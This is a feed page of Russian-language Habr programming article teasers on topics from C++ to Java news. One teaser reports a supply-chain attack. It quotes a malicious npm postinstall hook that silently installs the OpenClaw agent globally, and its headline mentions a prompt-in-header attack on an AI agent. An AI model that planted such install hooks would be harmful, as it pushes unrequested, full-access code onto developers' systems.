Обновить
1669.68

Программирование *

Искусство создания компьютерных программ

Сначала показывать
Порог рейтинга
Уровень сложности

Код ИИ — это бред

Уровень сложностиПростой
Время на прочтение9 мин
Охват и читатели30K

Вы не понимаете, что вы сделали. Я не говорю про подорожание памяти. Да, память подорожала в том числе и потому что вы генерите котиков и код. Но это мелочи. Небольшие побочные эффекты.

Вы запустили Лаксианский строитель, не имея ключа на выключение. В погоне за дофамином вы загнали джуниоров под плинтус. Вы травматически ампутировали индустрии механизм прегенерации опыта. Вы разрушаете индустрию, проекты и себя. Свою способность понимать и делать осознанный выбор решений. В обмен на что?

Да, мир не станет никогда прежним. Как он уже не станет "доинтернетным". Но вы не умеете новым миром пользоваться. Вы его вкалываете внутривенно, увеличивая дозу и не думая о последствиях. Это убьёт всех. Вас, меня, их.

Я расскажу почему. Скорее всего вам не захочется это знать. Это будет здесь, за этой кнопкой. Решать вам.

Читать далее

Нескучное программирование. Обобщения (ч.1)

Время на прочтение22 мин
Охват и читатели12K

Представьте на минуту, что C++ — это не набор странных ключевых слов и ошибок линковки, а всего лишь ещё один способ поговорить о мире вокруг нас: о людях, числах, цветах, событиях и котах. Мы привыкли думать о программировании как о чём‑то сугубо техническом, где важно запомнить синтаксис, расставить точки с запятой и “угадать”, чего сейчас хочет компилятор. 

Но если задать себе вопрос «а чем вообще оперирует программа?», внезапно выясняется, что за всеми этими int, struct и template прячутся довольно простые и понятные идеи: вещи, их свойства, группы похожих вещей и правила, по которым одни вещи превращаются в другие.

И попробовав объяснить, что такое объекты, типы и прочие фундаментальные понятия информатики, неизбежно приходится выходить за рамки чисто технического языка и говорить о более общих категориях идей, с которыми человечество работает уже тысячи лет, и именно здесь нам пригодятся слова «сущность», «вид» и «род». 

Когда философы и логики говорят об абстрактных сущностях, они имеют в виду индивидуальные вещи, которые не существуют в пространстве и времени так, как существуют стол, человек или компьютер, а как нечто неизменное: например, число 13 или сам по себе синий цвет не родились в какой‑то момент и не "умирают" через какое‑то время, это не объекты физического мира, а идеи, с которыми мы работаем в голове и в математике. 

Читать далее

ИИ-агент сказал «сделано». Но сделал ли он на самом деле?

Уровень сложностиСредний
Время на прочтение8 мин
Охват и читатели8.7K

На прошлой неделе Хабр опубликовал материал о том, как компании платят до 300 000 рублей в месяц за «скрытый аутсорс» задач в ChatGPT. История получила резонанс — но обсуждение ушло не туда. Говорили о доверии, об этике, о трудовом договоре.

Никто не спросил о главном: а как вы вообще проверяете, что задача была выполнена — агентом или человеком? И была ли она выполнена вообще?

В открытом демо-пайплайне dcl-eval-pipeline-demo я показала, как аудировать поведение агентов на практике. Теперь разберём, почему это критично и как построить полноценный слой верификации — вплоть до готового инструмента, который можно скачать и запустить прямо сейчас.

Это не риторический вопрос. Это архитектурная дыра, которая сейчас присутствует практически в каждой агентной системе. Называется она fabricated execution — ситуация, когда агент возвращает результат, не выполнив задачи, или выполнив что-то принципиально другое, оформив под видом запрошенного.

Что такое DCL?

Asset Catalog – скрытый bottleneck сборки iOS. Разбираемся, как распараллелить компиляцию Asset’ов

Уровень сложностиСредний
Время на прочтение6 мин
Охват и читатели7.3K

2026 год. У вас 8–16 ядер в ноутбуке. M-чипы летают.

Swift компилируется параллельно.

Вы нажимаете ⌘B – и одно ядро уныло крутится на 100% загрузки, пока остальные отдыхают.

Добро пожаловать в мир однопоточной компиляции Asset Catalog’а.

В этой статье я покажу, почему Asset Catalog тормозит сборку и как заставить Xcode использовать больше ядер CPU. Пошагово и с примерами.

Читать далее

L в аббревиатуре LLM означает «ложь»

Уровень сложностиПростой
Время на прочтение10 мин
Охват и читатели16K

Если верить хайпу, та отрасль разработки ПО, к которой мы привыкли, уже мертва. Однако странно, что, несмотря на годы работы с ИИ-инструментарием, результаты выглядят, ощущаются и работают примерно так же, как и в начале: невзрачно.

Невозможно спорить, что эту технологию окружает огромный ажиотаж. В неё вливаются сотни миллиардов долларов и создаётся масштабная инфраструктура, что, в свою очередь, требует ещё большего ажиотажа, чтобы оправдать инвестиции. Уже очевидно, что всё построено на преувеличениях — новые модели продолжают обучать для достижения целей, которых должны были, судя по обещаниям, достичь уже вышедшие в тираж модели.

Поэтому позвольте мне сказать фразу, которая повергнет бывалого резидента Кремниевой долины в больший шок, чем дефекация на Маркет-стрит: не использовать ИИ совершенно нормально.

Это не превратит вас в троглодита. Из-за этого вы не останетесь на обочине прогресса, который якобы несут самопровозглашённые техноволшебники и их агенты. На самом деле, такое решение выглядит гораздо менее трудным и гораздо более радостным, чем альтернатива ему.

Читать далее

Почему первый вызов моей malloc всегда аллоцирует 72 КБ?

Уровень сложностиСредний
Время на прочтение8 мин
Охват и читатели15K

Мне нравится экспериментировать с кастомными аллокаторами памяти, используя собственные реализации. И хотя модульные тесты помогают убедиться в их корректности, настоящей проверкой становится работа аллокатора в реальных программах.

Коротко о теме статьи. Стандартная библиотека C++ инициализирует механизм обработки исключений на раннем этапе, выделяя память для «резервного пула», чтобы можно было использовать её под выброс исключений, если malloc вдруг провалится.

Читать далее

Почему бизнес хочет FIFO и почему это не всегда «серебряная пуля»

Время на прочтение4 мин
Охват и читатели8.3K

«Сделайте нам строго по порядку» — эта фраза из бизнес‑требований часто становится началом долгого и дорогого инженерного триллера. В мире микросервисов и event‑driven систем классический FIFO превращается из простой очереди в проверку на прочность всей архитектуры. За обещанием «строгой последовательности» стоят сетевые задержки, алгоритмы консенсуса и суровые ограничения распределенных систем.

Читать далее

Код — дешёвка. Покажи мне, как ты общаешься

Время на прочтение16 мин
Охват и читатели10K

TLDR; Разработка ПО в привычном нам виде, сложившаяся в течение десятков лет, уходит в прошлое. БЯМ-ассистенты для программирования фундаментальным образом изменили наше ремесло, и ещё не известно, к добру или к худу.

Читать далее

Flame: Системный язык программирования на C и LLVM с мета-исключениями и Memory Safety без Borrow Checker

Уровень сложностиСредний
Время на прочтение3 мин
Охват и читатели9.5K

Пока индустрия движется в сторону усложнения компиляторов, я задался вопросом: можно ли создать инструмент, который дает безопасность Rust, гибкость C и при этом не весит сотни мегабайт?

Так появился Flame — системный язык с компилятором в 226 КБ, который реализует управление памятью через статический анализ AST и предлагает альтернативный взгляд на обработку ошибок через патчинг дерева токенов.

Читать далее

Как я автоматизировал юридическую рутину

Уровень сложностиСредний
Время на прочтение13 мин
Охват и читатели9.6K

Я бывший фронтенд-разработчик, который уже семь лет работает корпоративным юристом. Устал копировать одни и те же реквизиты в десятки типовых форм. Пробовал автоматизировать через Excel, мечтаю о React-приложении, но в итоге остановился на Python-скрипте, который штампует документы за секунды.

Рассказываю про путь от идеи до реализации и почему для небольших юридических команд до сих пор нет нормальных инструментов.

Читать далее

Vue DnD Kit v2: революция в мире Drag N Drop для Vue.js

Уровень сложностиПростой
Время на прочтение5 мин
Охват и читатели9.9K

Vue DnD Kit v2: headless drag-and-drop с composable API — делай что хочешь, как хочешь

Если вы когда-нибудь пробовали сделать drag-and-drop на Vue по-настоящему гибким — с кастомным overlay, вложенными зонами, multi-drag и анимацией при отпускании — вы знаете, что большинство библиотек держат вас в клетке. Vue DnD Kit v2 эту клетку сломал.

И вам это понравится!)

Читать далее

Агент под прикрытием: Как один заголовок-промпт на GitHub помог взломать 4000 компьютеров

Уровень сложностиПростой
Время на прочтение5 мин
Охват и читатели12K

17 февраля 2026 года в репозитории npm была опубликована версия cline@2.3.0. С виду – ничего особенного: исполняемый файл был идентичен предыдущему байт в байт. Лишь в файле package.json притаилась одна лишняя строчка:

"postinstall": "npm install -g openclaw@latest"

В течение следующих восьми часов каждый разработчик, решивший установить или обновить Cline, невольно устанавливал OpenClaw. Это отдельный ИИ-агент с полным доступом к системе, который устанавливался глобально и без какого-либо спроса. Пакет успели скачать около 4000 раз, прежде чем его удалили из общего доступа.

Читать далее

Хоткеи, которые я реально использую каждый день — справочник за 10 лет разработки

Уровень сложностиПростой
Время на прочтение5 мин
Охват и читатели8.5K

Мышечная память не ждёт ответа от API и работает без интернета. Собрал справочник шорткатов, которые реально прижились за 10 лет: WebStorm, Chrome, терминал, alt-коды для таблиц и файловых деревьев. Осознанно олдскульный формат — статья в закладки.

Читать далее

Ближайшие события

РСПКДС: мнемонический шаблон для  обработки данных в Dart -шпаргалка для начинающих

Уровень сложностиПростой
Время на прочтение5 мин
Охват и читатели6.1K

В статье разберём РСПКДС — простой мнемонический шаблон, который поможет новичкам в Dart структурировать базовые операции обработки данных. Покажу, как использовать формулу для решения типовых задач, приведу примеры кода и дам практические рекомендации. Вы узнаете, как за 6 шагов превратить сырые данные в осмысленный результат.

Читать далее

Способы повышения надежности встраиваемого ПО

Уровень сложностиПростой
Время на прочтение9 мин
Охват и читатели17K

В этом тексте я бы хотел перечислить способы повышения надежности для встраиваемого ПО. Cуществует много приемов, которые помогают повысить надежность встраиваемого ПО.

Как прошивка может противостоять всяческим флуктуациям во время своей работы и обезопасить себя от зависания или повреждения исходных данных?

Читать далее

Траектория манёвра летательного аппарата: от школьной геометрии до реального полёта

Уровень сложностиПростой
Время на прочтение9 мин
Охват и читатели11K

Представьте: летательный аппарат следует по заданному маршруту на постоянной высоте. Курс выдержан, скорость стабильна. Но впереди — следующая точка маршрута, и она в стороне от текущего направления. Нужно повернуть.

Казалось бы, что тут сложного? Повернул — и летишь дальше. Но у летательного аппарата фиксированного типа есть одно жёсткое ограничение: минимальный радиус разворота. Он не может крутануться на месте. Любой манёвр — это дуга с конкретным радиусом, продиктованным физикой: скоростью, аэродинамикой, конструкцией.

Отсюда возникает задача, которую система управления должна решить заранее: как именно проложить траекторию разворота? Где заканчивается прямолинейный полёт и начинается дуга? Где дуга переходит обратно в прямую, ведущую к цели? Какова длина этой дуги — чтобы автопилот знал, сколько лететь по ней?

Именно эту задачу мы и разберём. Для её решения не понадобится ничего сверхъестественного — только геометрия 9–11 класса: касательная к окружности, теорема Пифагора, подобие треугольников. Весь необходимый аппарат вы уже проходили — просто, возможно, не думали, что он управляет реальными летательными аппаратами.

И вот что интересно: задача достаточно простая, чтобы школьник старших классов не только разобрался в математике, но и самостоятельно построил модель в среде динамического моделирования. Именно это мы и сделаем в конце статьи — разберём реализацию в Engee, с которой вполне справится любой, кто знаком с основами программирования.

В статье мы пройдём путь от постановки задачи через математику — к реализации модели и выбору оптимальной траектории манёвра.

Читать далее

Darts: библиотека для временных рядов

Уровень сложностиПростой
Время на прочтение11 мин
Охват и читатели12K

В Python хватает инструментов для работы с временными рядами, но обычно приходится жонглировать тремя-четырьмя пакетами с разными API. Darts — библиотека, которая собирает всё в одном месте: статистические модели, градиентный бустинг, нейросети — и работает по знакомой схеме fit() / predict(). Сегодня разберём её подробно: что умеет, где удобна, как использовать в задачах.

Читать далее

Обзор AI-ассистентов для кодинга: от автодополнения к агентским системам

Время на прочтение6 мин
Охват и читатели14K

AI-ассистенты для программирования за последние годы прошли путь от простого автодополнения до полноценных агентов, способных анализировать проект, принимать решения и выполнять сложные задачи. 

В 2026-м сильный ассистент уже умеет читать репозиторий, запускать команды, собирать изменения в дифф и предлагать готовые PR-ы. 

В этой статье по материалам нашего вебинара разберем, как устроены современные AI-ассистенты, чем они отличаются и на что обращать внимание при выборе решения для enterprise-контура. Ключевые моменты – безопасность кода и данных, on-premise развёртывание, риск уязвимостей в сгенерированном коде и контроль действий AI-ассистентов.

Читать далее

Java Digest #33

Уровень сложностиПростой
Время на прочтение10 мин
Охват и читатели9.8K

Всем привет! 👋👋👋👋👋 Мы — Java-разработчики Т-Банка: Андрей, Арсений, Роман, Константин и Константин. Собираем интересные новости, статьи, туториалы и другие материалы из мира Java-разработки и делимся со всем сообществом.

В этом выпуске рассказываем, зачем в Java хотят перезапустить проект Detroit. Почему Kubernetes — база для Spring-разработчика. Какое возможное будущее у проверяемых исключений. Как уронить базу, пытаясь обновить кэш. Что такое carrier-классы, которые планируют ввести в Java в будущем. И еще много интересного. Приятного чтения! For those who code after… 🙂

Читать свежий выпуск

«Создание встраиваемых систем». Обзор книги

Время на прочтение7 мин
Охват и читатели19K

Как только я узнал, что книга Making Embedded Systems 2nd Edition (русская версия: «Создание встраиваемых систем. Паттерны проектирования отличных программ. 2-е издание») доступна для предзаказа, я не раздумывая отправился на Amazon и раскошелился за неё.

Некоторое время я занимался самообучением в различных областях, связанных с электроникой и разработкой встраиваемых систем, но в совершенно произвольном и никак не организованном ритме.

Рассчитывал, что эта книга даст мне хороший каркас, на базе которого можно будет формализовать мой рост и обучение.

Я сразу примерно представлял, о чём будет книга, и полагал, что сначала научусь с её помощью настраивать среду разработки для различных микроконтроллеров класса STM32, а потом, отталкиваясь от материала книги, смогу перейти в любую область разработки, которая к тому времени будет меня больше всего интересовать.

Просмотрев на сайте O'Reilly предметный указатель и выложенные для просмотра главы, я обнаружил, что такой «конфигурационной» главы в книге нет. Также в предисловии прямо рекомендовалось не прыгать по книге от главы к главе, а проработать её всю по порядку.

Читать далее